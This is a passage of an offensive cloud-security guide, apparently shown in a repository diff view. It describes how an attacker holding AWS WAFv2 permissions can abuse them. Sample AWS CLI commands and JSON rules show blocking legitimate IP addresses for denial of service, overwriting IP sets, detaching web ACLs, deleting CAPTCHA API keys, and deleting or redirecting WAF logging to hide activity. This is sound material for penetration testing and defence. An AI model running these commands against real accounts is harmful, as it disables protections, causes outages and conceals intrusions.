#### **`wafv2:CreateRuleGroup`, `wafv2:UpdateRuleGroup`, `wafv2:DeleteRuleGroup`**
|
||||
|
||||
An attacker would be able to compromise the security of the affected resource by:
|
||||
|
||||
- Creating rule groups that could, for instance, block legitimate traffic from legitimate IP addresses, causing a denial of service.
|
||||
- Updating rule groups, being able to modify its actions for example from **Block** to **Allow**.
|
||||
- Deleting rule groups that provide critical security measures.
|
||||
|
||||
```bash
|
||||
# Create Rule Group
|
||||
aws wafv2 create-rule-group --name <value> --capacity <value> --visibility-config <value> \
|
||||
--scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1> [--rules <value>] [--description <value>]
|
||||
# Update Rule Group
|
||||
aws wafv2 update-rule-group --name <value> --id <value> --visibility-config <value> --lock-token <value>\
|
||||
--scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1> [--rules <value>] [--description <value>]
|
||||
# Delete Rule Group
|
||||
aws wafv2 delete-rule-group --name <value> --id <value> --lock-token <value> --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1>
|
||||
```
|
||||
|
||||
The following examples shows a rule group that would block legitimate traffic from specific IP addresses:
|
||||
|
||||
```bash
|
||||
aws wafv2 create-rule-group --name BlockLegitimateIPsRuleGroup --capacity 1 --visibility-config SampledRequestsEnabled=false,CloudWatchMetricsEnabled=false,MetricName=BlockLegitimateIPsRuleGroup --scope CLOUDFRONT --region us-east-1 --rules file://rule.json
|
||||
```
|
||||
|
||||
The **rule.json** file would look like:
|
||||
|
||||
```json
|
||||
[
|
||||
{
|
||||
"Name": "BlockLegitimateIPsRule",
|
||||
"Priority": 0,
|
||||
"Statement": {
|
||||
"IPSetReferenceStatement": {
|
||||
"ARN": "arn:aws:wafv2:us-east-1:123456789012:global/ipset/legitIPv4/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f"
|
||||
}
|
||||
},
|
||||
"Action": {
|
||||
"Block": {}
|
||||
},
|
||||
"VisibilityConfig": {
|
||||
"SampledRequestsEnabled": false,
|
||||
"CloudWatchMetricsEnabled": false,
|
||||
"MetricName": "BlockLegitimateIPsRule"
|
||||
}
|
||||
}
|
||||
]
|
||||
```
|
||||
|
||||
**Potential Impact**: Unauthorized access, data breaches, and potential DoS attacks.
|
||||
|
||||
#### **`wafv2:CreateWebACL`, `wafv2:UpdateWebACL`, `wafv2:DeleteWebACL`**
|
||||
|
||||
With these permissions, an attacker would be able to:
|
||||
|
||||
- Create a new Web ACL, introducing rules that either allow malicious traffic through or block legitimate traffic, effectively rendering the WAF useless or causing a denial of service.
|
||||
- Update existing Web ACLs, being able to modify rules to permit attacks such as SQL injection or cross-site scripting, which were previously blocked, or disrupt normal traffic flow by blocking valid requests.
|
||||
- Delete a Web ACL, leaving the affected resources entirely unprotected, exposing it to a broad range of web attacks.
|
||||
|
||||
> [!NOTE]
|
||||
> You can only delete the specified **WebACL** if **ManagedByFirewallManager** is false.
|
||||
|
||||
```bash
|
||||
# Create Web ACL
|
||||
aws wafv2 create-web-acl --name <value> --default-action <value> --visibility-config <value> \
|
||||
--scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1> [--rules <value>] [--captcha-config <value>] [--description <value>]
|
||||
# Update Web ACL
|
||||
aws wafv2 update-web-acl --name <value> --id <value> --default-action <value> --visibility-config <value> --lock-token <value>\
|
||||
--scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1> [--rules <value>] [--captcha-config <value>] [--description <value>]
|
||||
# Delete Web ACL
|
||||
aws wafv2 delete-web-acl --name <value> --id <value> --lock-token <value> --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1>
|
||||
```
|
||||
|
||||
The following examples shows how to update a Web ACL to block the legitimate traffic from a specific IP set. If the origin IP does not match any of those IPs, the default action would also be blocking it, causing a DoS.
|
||||
|
||||
**Original Web ACL**:
|
||||
|
||||
```json
|
||||
{
|
||||
"WebACL": {
|
||||
"Name": "AllowLegitimateIPsWebACL",
|
||||
"Id": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f",
|
||||
"ARN": "arn:aws:wafv2:us-east-1:123456789012:regional/webacl/AllowLegitimateIPsWebACL/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f",
|
||||
"DefaultAction": {
|
||||
"Allow": {}
|
||||
},
|
||||
"Description": "",
|
||||
"Rules": [
|
||||
{
|
||||
"Name": "AllowLegitimateIPsRule",
|
||||
"Priority": 0,
|
||||
"Statement": {
|
||||
"IPSetReferenceStatement": {
|
||||
"ARN": "arn:aws:wafv2:us-east-1:123456789012:regional/ipset/LegitimateIPv4/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f"
|
||||
}
|
||||
},
|
||||
"Action": {
|
||||
"Allow": {}
|
||||
},
|
||||
"VisibilityConfig": {
|
||||
"SampledRequestsEnabled": false,
|
||||
"CloudWatchMetricsEnabled": false,
|
||||
"MetricName": "AllowLegitimateIPsRule"
|
||||
}
|
||||
}
|
||||
],
|
||||
"VisibilityConfig": {
|
||||
"SampledRequestsEnabled": false,
|
||||
"CloudWatchMetricsEnabled": false,
|
||||
"MetricName": "AllowLegitimateIPsWebACL"
|
||||
},
|
||||
"Capacity": 1,
|
||||
"ManagedByFirewallManager": false,
|
||||
"LabelNamespace": "awswaf:123456789012:webacl:AllowLegitimateIPsWebACL:"
|
||||
},
|
||||
"LockToken": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f"
|
||||
}
|
||||
```
|
||||
|
||||
Command to update the Web ACL:
|
||||
|
||||
```json
|
||||
aws wafv2 update-web-acl --name AllowLegitimateIPsWebACL --scope REGIONAL --id 1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f --lock-token 1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f --default-action Block={} --visibility-config SampledRequestsEnabled=false,CloudWatchMetricsEnabled=false,MetricName=AllowLegitimateIPsWebACL --rules file://rule.json --region us-east-1
|
||||
```
|
||||
|
||||
The **rule.json** file would look like:
|
||||
|
||||
```json
|
||||
[
|
||||
{
|
||||
"Name": "BlockLegitimateIPsRule",
|
||||
"Priority": 0,
|
||||
"Statement": {
|
||||
"IPSetReferenceStatement": {
|
||||
"ARN": "arn:aws:wafv2:us-east-1:123456789012:regional/ipset/LegitimateIPv4/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f"
|
||||
}
|
||||
},
|
||||
"Action": {
|
||||
"Block": {}
|
||||
},
|
||||
"VisibilityConfig": {
|
||||
"SampledRequestsEnabled": false,
|
||||
"CloudWatchMetricsEnabled": false,
|
||||
"MetricName": "BlockLegitimateIPRule"
|
||||
}
|
||||
}
|
||||
]
|
||||
```
|
||||
|
||||
**Potential Impact**: Unauthorized access, data breaches, and potential DoS attacks.
|
||||
|
||||
#### **`wafv2:AssociateWebACL`, `wafv2:DisassociateWebACL`**
|
||||
|
||||
The **`wafv2:AssociateWebACL`** permission would allow an attacker to associate web ACLs (Access Control Lists) with resources, being able to bypass security controls, allowing unauthorized traffic to reach the application, potentially leading to exploits like SQL injection or cross-site scripting (XSS). Conversely, with the **`wafv2:DisassociateWebACL`** permission, the attacker could temporarily disable security protections, exposing the resources to vulnerabilities without detection.
|
||||
|
||||
The additional permissions would be needed depending on the protected resource type:
|
||||
|
||||
- **Associate**
|
||||
- apigateway:SetWebACL
|
||||
- apprunner:AssociateWebAcl
|
||||
- appsync:SetWebACL
|
||||
- cognito-idp:AssociateWebACL
|
||||
- ec2:AssociateVerifiedAccessInstanceWebAcl
|
||||
- elasticloadbalancing:SetWebAcl
|
||||
- **Disassociate**
|
||||
- apigateway:SetWebACL
|
||||
- apprunner:DisassociateWebAcl
|
||||
- appsync:SetWebACL
|
||||
- cognito-idp:DisassociateWebACL
|
||||
- ec2:DisassociateVerifiedAccessInstanceWebAcl
|
||||
- elasticloadbalancing:SetWebAcl
|
||||
|
||||
```bash
|
||||
# Associate
|
||||
aws wafv2 associate-web-acl --web-acl-arn <value> --resource-arn <value>
|
||||
# Disassociate
|
||||
aws wafv2 disassociate-web-acl --resource-arn <value>
|
||||
```
|
||||
|
||||
**Potential Impact**: Compromised resources security, increased risk of exploitation, and potential service disruptions within AWS environments protected by AWS WAF.
|
||||
|
||||
#### **`wafv2:CreateIPSet` , `wafv2:UpdateIPSet`, `wafv2:DeleteIPSet`**
|
||||
|
||||
An attacker would be able to create, update and delete the IP sets managed by AWS WAF. This could be dangerous since could create new IP sets to allow malicious traffic, modify IP sets in order to block legitimate traffic, update existing IP sets to include malicious IP addresses, remove trusted IP addresses or delete critical IP sets that are meant to protect critical resources.
|
||||
|
||||
```bash
|
||||
# Create IP set
|
||||
aws wafv2 create-ip-set --name <value> --ip-address-version <IPV4 | IPV6> --addresses <value> --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1>
|
||||
# Update IP set
|
||||
aws wafv2 update-ip-set --name <value> --id <value> --addresses <value> --lock-token <value> --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1>
|
||||
# Delete IP set
|
||||
aws wafv2 delete-ip-set --name <value> --id <value> --lock-token <value> --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1>
|
||||
```
|
||||
|
||||
The following example shows how to **overwrite the existing IP set by the desired IP set**:
|
||||
|
||||
```bash
|
||||
aws wafv2 update-ip-set --name LegitimateIPv4Set --id 1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f --addresses 99.99.99.99/32 --lock-token 1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f --scope CLOUDFRONT --region us-east-1
|
||||
```
|
||||
|
||||
**Potential Impact**: Unauthorized access and block of legitimate traffic.
|
||||
|
||||
#### **`wafv2:CreateRegexPatternSet`** , **`wafv2:UpdateRegexPatternSet`**, **`wafv2:DeleteRegexPatternSet`**
|
||||
|
||||
An attacker with these permissions would be able to manipulate the regular expression pattern sets used by AWS WAF to control and filter incoming traffic based on specific patterns.
|
||||
|
||||
- Creating new regex patterns would help an attacker to allow harmful content
|
||||
- Updating the existing patterns, an attacker would to bypass security rules
|
||||
- Deleting patterns that are designed to block malicious activities could lead an attacker to the send malicious payloads and bypass the security measures.
|
||||
|
||||
```bash
|
||||
# Create regex pattern set
|
||||
aws wafv2 create-regex-pattern-set --name <value> --regular-expression-list <value> --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1> [--description <value>]
|
||||
# Update regex pattern set
|
||||
aws wafv2 update-regex-pattern-set --name <value> --id <value> --regular-expression-list <value> --lock-token <value> --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1>
|
||||
# Delete regex pattern set
|
||||
aws wafv2 delete-regex-pattern-set --name <value> --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1> --id <value> --lock-token <value>
|
||||
```
|
||||
|
||||
**Potential Impact**: Bypass security controls, allowing malicious content and potentially exposing sensitive data or disrupting services and resources protected by AWS WAF.
|
||||
|
||||
#### **(`wavf2:PutLoggingConfiguration` &** `iam:CreateServiceLinkedRole`), **`wafv2:DeleteLoggingConfiguration`**
|
||||
|
||||
An attacker with the **`wafv2:DeleteLoggingConfiguration`** would be able to remove the logging configuration from the specified Web ACL. Subsequently, with the **`wavf2:PutLoggingConfiguration`** and **`iam:CreateServiceLinkedRole`** permissions, an attacker could create or replace logging configurations (after having deleted it) to either prevent logging altogether or redirect logs to unauthorized destinations, such as Amazon S3 buckets, Amazon CloudWatch Logs log group or an Amazon Kinesis Data Firehose under control.
|
||||
|
||||
During the creation process, the service automatically sets up the necessary permissions to allow logs to be written to the specified logging destination:
|
||||
|
||||
- **Amazon CloudWatch Logs:** AWS WAF creates a resource policy on the designated CloudWatch Logs log group. This policy ensures that AWS WAF has the permissions required to write logs to the log group.
|
||||
- **Amazon S3 Bucket:** AWS WAF creates a bucket policy on the designated S3 bucket. This policy grants AWS WAF the permissions necessary to upload logs to the specified bucket.
|
||||
- **Amazon Kinesis Data Firehose:** AWS WAF creates a service-linked role specifically for interacting with Kinesis Data Firehose. This role allows AWS WAF to deliver logs to the configured Firehose stream.
|
||||
|
||||
> [!NOTE]
|
||||
> It is possible to define only one logging destination per web ACL.
|
||||
|
||||
```bash
|
||||
# Put logging configuration
|
||||
aws wafv2 put-logging-configuration --logging-configuration <value>
|
||||
# Delete logging configuration
|
||||
aws wafv2 delete-logging-configuration --resource-arn <value> [--log-scope <CUSTOMER | SECURITY_LAKE>] [--log-type <value>]
|
||||
```
|
||||
|
||||
**Potential Impact:** Obscure visibility into security events, difficult the incident response process, and facilitate covert malicious activities within AWS WAF-protected environments.
|
||||
|
||||
#### **`wafv2:DeleteAPIKey`**
|
||||
|
||||
An attacker with this permissions would be able to delete existing API keys, rendering the CAPTCHA ineffective and disrupting the functionality that relies on it, such as form submissions and access controls. Depending on the implementation of this CAPTCHA, this could lead either to a CAPTCHA bypass or to a DoS if the error management is not properly set in the resource.
|
||||
|
||||
```bash
|
||||
# Delete API key
|
||||
aws wafv2 delete-api-key --api-key <value> --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1>
|
||||
```
|
||||
|
||||
**Potential Impact**: Disable CAPTCHA protections or disrupt application functionality, leading to security breaches and potential data theft.
|
||||
|
||||
#### **`wafv2:TagResource`, `wafv2:UntagResource`**
|
||||
|
||||
An attacker would be able to add, modify, or remove tags from AWS WAFv2 resources, such as Web ACLs, rule groups, IP sets, regex pattern sets, and logging configurations.
|
||||
|
||||
```bash
|
||||
# Tag
|
||||
aws wafv2 tag-resource --resource-arn <value> --tags <value>
|
||||
# Untag
|
||||
aws wafv2 untag-resource --resource-arn <value> --tag-keys <value>
|
||||
```
|
||||
|
||||
**Potential Impact**: Resource tampering, information leakage, cost manipulation and operational disruption.
|
||||
|
||||
## References
|
||||
|
||||
- [https://www.citrusconsulting.com/aws-web-application-firewall-waf/#:\~:text=Conditions%20allow%20you%20to%20specify,user%20via%20a%20web%20application](https://www.citrusconsulting.com/aws-web-application-firewall-waf/)
|
||||
- [https://docs.aws.amazon.com/service-authorization/latest/reference/list_awswafv2.html](https://docs.aws.amazon.com/service-authorization/latest/reference/list_awswafv2.html)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user